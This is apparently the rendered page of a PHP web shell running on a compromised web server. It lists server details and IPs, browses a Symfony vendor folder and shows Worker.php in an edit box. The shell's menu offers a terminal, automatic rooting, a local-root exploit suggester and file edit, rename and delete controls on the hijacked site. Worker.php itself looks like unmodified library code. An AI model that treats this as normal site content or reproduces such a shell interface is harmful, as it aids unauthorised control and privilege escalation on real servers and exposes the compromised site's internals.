Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
messenger /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
EventListener
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Handler
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Message
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Middleware
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Retry
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Stamp
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Transport
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
16.26
KB
-rwxrwxr-x
2026-03-19 04:54
Envelope.php
3.12
KB
-rwxrwxr-x
2026-03-19 04:54
HandleTrait.php
2.25
KB
-rwxrwxr-x
2026-03-19 04:54
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBus.php
2.51
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBusInterface.php
692
B
-rwxrwxr-x
2026-03-19 04:54
README.md
1012
B
-rwxrwxr-x
2026-03-19 04:54
RoutableMessageBus.php
2.12
KB
-rwxrwxr-x
2026-03-19 04:54
TraceableMessageBus.php
3.16
KB
-rwxrwxr-x
2026-03-19 04:54
Worker.php
10.49
KB
-rwxrwxr-x
2026-03-19 04:54
WorkerMetadata.php
1.07
KB
-rwxrwxr-x
2026-03-19 04:54
composer.json
1.74
KB
-rwxrwxr-x
2026-03-19 04:54
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Messenger; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Clock\Clock; use Symfony\Component\Clock\ClockInterface; use Symfony\Component\Messenger\Event\WorkerMessageFailedEvent; use Symfony\Component\Messenger\Event\WorkerMessageHandledEvent; use Symfony\Component\Messenger\Event\WorkerMessageReceivedEvent; use Symfony\Component\Messenger\Event\WorkerRateLimitedEvent; use Symfony\Component\Messenger\Event\WorkerRunningEvent; use Symfony\Component\Messenger\Event\WorkerStartedEvent; use Symfony\Component\Messenger\Event\WorkerStoppedEvent; use Symfony\Component\Messenger\Exception\EnvelopeAwareExceptionInterface; use Symfony\Component\Messenger\Exception\RejectRedeliveredMessageException; use Symfony\Component\Messenger\Exception\RuntimeException; use Symfony\Component\Messenger\Stamp\AckStamp; use Symfony\Component\Messenger\Stamp\ConsumedByWorkerStamp; use Symfony\Component\Messenger\Stamp\FlushBatchHandlersStamp; use Symfony\Component\Messenger\Stamp\NoAutoAckStamp; use Symfony\Component\Messenger\Stamp\ReceivedStamp; use Symfony\Component\Messenger\Transport\Receiver\QueueReceiverInterface; use Symfony\Component\Messenger\Transport\Receiver\ReceiverInterface; use Symfony\Component\RateLimiter\LimiterInterface; /** * @author Samuel Roze <samuel.roze@gmail.com> * @author Tobias Schultze <http://tobion.de> * * @final */ class Worker { private bool $shouldStop = false; private WorkerMetadata $metadata; private array $acks = []; private ?\SplObjectStorage $unacks = null; /** * @param ReceiverInterface[] $receivers Where the key is the transport name */ public function __construct( private array $receivers, private MessageBusInterface $bus, private ?EventDispatcherInterface $eventDispatcher = null, private ?LoggerInterface $logger = null, private ?array $rateLimiters = null, private ClockInterface $clock = new Clock(), ) { $this->metadata = new WorkerMetadata([ 'transportNames' => array_keys($receivers), ]); } /** * Receive the messages and dispatch them to the bus. * * Valid options are: * * sleep (default: 1000000): Time in microseconds to sleep after no messages are found * * queues: The queue names to consume from, instead of consuming from all queues. When this is used, all receivers must implement the QueueReceiverInterface */ public function run(array $options = []): void { $options = array_merge([ 'sleep' => 1000000, ], $options); $queueNames = $options['queues'] ?? null; $this->metadata->set(['queueNames' => $queueNames]); $this->eventDispatcher?->dispatch(new WorkerStartedEvent($this)); if ($queueNames) { // if queue names are specified, all receivers must implement the QueueReceiverInterface foreach ($this->receivers as $transportName => $receiver) { if (!$receiver instanceof QueueReceiverInterface) { throw new RuntimeException(\sprintf('Receiver for "%s" does not implement "%s".', $transportName, QueueReceiverInterface::class)); } } } while (!$this->shouldStop) { $envelopeHandled = false; $envelopeHandledStart = $this->clock->now(); foreach ($this->receivers as $transportName => $receiver) { if ($queueNames) { $envelopes = $receiver->getFromQueues($queueNames); } else { $envelopes = $receiver->get(); } foreach ($envelopes as $envelope) { $envelopeHandled = true; $this->rateLimit($transportName); $this->handleMessage($envelope, $transportName); $this->eventDispatcher?->dispatch(new WorkerRunningEvent($this, false)); if ($this->shouldStop) { break 2; } } // after handling a single receiver, quit and start the loop again // this should prevent multiple lower priority receivers from // blocking too long before the higher priority are checked if ($envelopeHandled) { break; } } if (!$envelopeHandled && $this->flush(false)) { continue; } if (!$this->flush(30.0) && !$envelopeHandled) { $this->eventDispatcher?->dispatch(new WorkerRunningEvent($this, true)); if (0 < $sleep = (int) ($options['sleep'] - 1e6 * ($this->clock->now()->format('U.u') - $envelopeHandledStart->format('U.u')))) { $this->clock->sleep($sleep / 1e6); } } } $this->flush(true); $this->eventDispatcher?->dispatch(new WorkerStoppedEvent($this)); } private function handleMessage(Envelope $envelope, string $transportName): void { $event = new WorkerMessageReceivedEvent($envelope, $transportName); $this->eventDispatcher?->dispatch($event); $envelope = $event->getEnvelope(); if (!$event->shouldHandle()) { return; } $acked = false; $ack = function (Envelope $envelope, ?\Throwable $e = null) use ($transportName, &$acked) { $acked = true; $this->acks[] = [$transportName, $envelope, $e]; }; try { $e = null; $envelope = $this->bus->dispatch($envelope->with(new ReceivedStamp($transportName), new ConsumedByWorkerStamp(), new AckStamp($ack))); } catch (\Throwable $e) { } $noAutoAckStamp = $envelope->last(NoAutoAckStamp::class); if (!$acked && !$noAutoAckStamp) { $this->acks[] = [$transportName, $envelope, $e]; } elseif ($noAutoAckStamp) { $this->unacks ??= new \SplObjectStorage(); $this->unacks[$noAutoAckStamp->getHandlerDescriptor()->getBatchHandler()] = [$envelope->withoutAll(AckStamp::class), $transportName, $this->clock->now()->format('U.u')]; } $this->ack(); } private function ack(): bool { $acks = $this->acks; $this->acks = []; foreach ($acks as [$transportName, $envelope, $e]) { $receiver = $this->receivers[$transportName]; if (null !== $e) { if ($rejectFirst = $e instanceof RejectRedeliveredMessageException) { // redelivered messages are rejected first so that continuous failures in an event listener or while // publishing for retry does not cause infinite redelivery loops $receiver->reject($envelope); } if ($e instanceof EnvelopeAwareExceptionInterface && null !== $e->getEnvelope()) { $envelope = $e->getEnvelope(); } $failedEvent = new WorkerMessageFailedEvent($envelope, $transportName, $e); $this->eventDispatcher?->dispatch($failedEvent); $envelope = $failedEvent->getEnvelope(); if (!$rejectFirst) { $receiver->reject($envelope); } continue; } $handledEvent = new WorkerMessageHandledEvent($envelope, $transportName); $this->eventDispatcher?->dispatch($handledEvent); $envelope = $handledEvent->getEnvelope(); if (null !== $this->logger) { $message = $envelope->getMessage(); $context = [ 'class' => $message::class, ]; $this->logger->info('{class} was handled successfully (acknowledging to transport).', $context); } $receiver->ack($envelope); } return (bool) $acks; } private function rateLimit(string $transportName): void { if (!$this->rateLimiters) { return; } if (!\array_key_exists($transportName, $this->rateLimiters)) { return; } /** @var LimiterInterface $rateLimiter */ $rateLimiter = $this->rateLimiters[$transportName]->create(); if ($rateLimiter->consume()->isAccepted()) { return; } $this->logger?->info('Transport {transport} is being rate limited, waiting for token to become available...', ['transport' => $transportName]); $this->eventDispatcher?->dispatch(new WorkerRateLimitedEvent($rateLimiter, $transportName)); $rateLimiter->reserve()->wait(); $rateLimiter->consume(); } private function flush(bool|float $force): bool { if (!$this->unacks) { return false; } if (\is_bool($force)) { $unacks = $this->unacks; $this->unacks = null; } else { $now = $this->clock->now()->format('U.u'); $remaining = new \SplObjectStorage(); $unacks = new \SplObjectStorage(); foreach ($this->unacks as $handler) { if ($force <= $now - $this->unacks[$handler][2]) { $unacks[$handler] = $this->unacks[$handler]; } else { $remaining[$handler] = $this->unacks[$handler]; } } $this->unacks = $remaining->count() ? $remaining : null; $force = true; } if (!$unacks->count()) { return false; } foreach ($unacks as $handler) { [$envelope, $transportName] = $unacks[$handler]; try { $this->bus->dispatch($envelope->with(new FlushBatchHandlersStamp($force))); } catch (\Throwable $e) { $envelope = $envelope->withoutAll(NoAutoAckStamp::class); $this->acks[] = [$transportName, $envelope, $e]; } } return $this->ack(); } public function stop(): void { $this->logger?->info('Stopping worker.', ['transport_names' => $this->metadata->getTransportNames()]); $this->shouldStop = true; } public function getMetadata(): WorkerMetadata { return $this->metadata; } }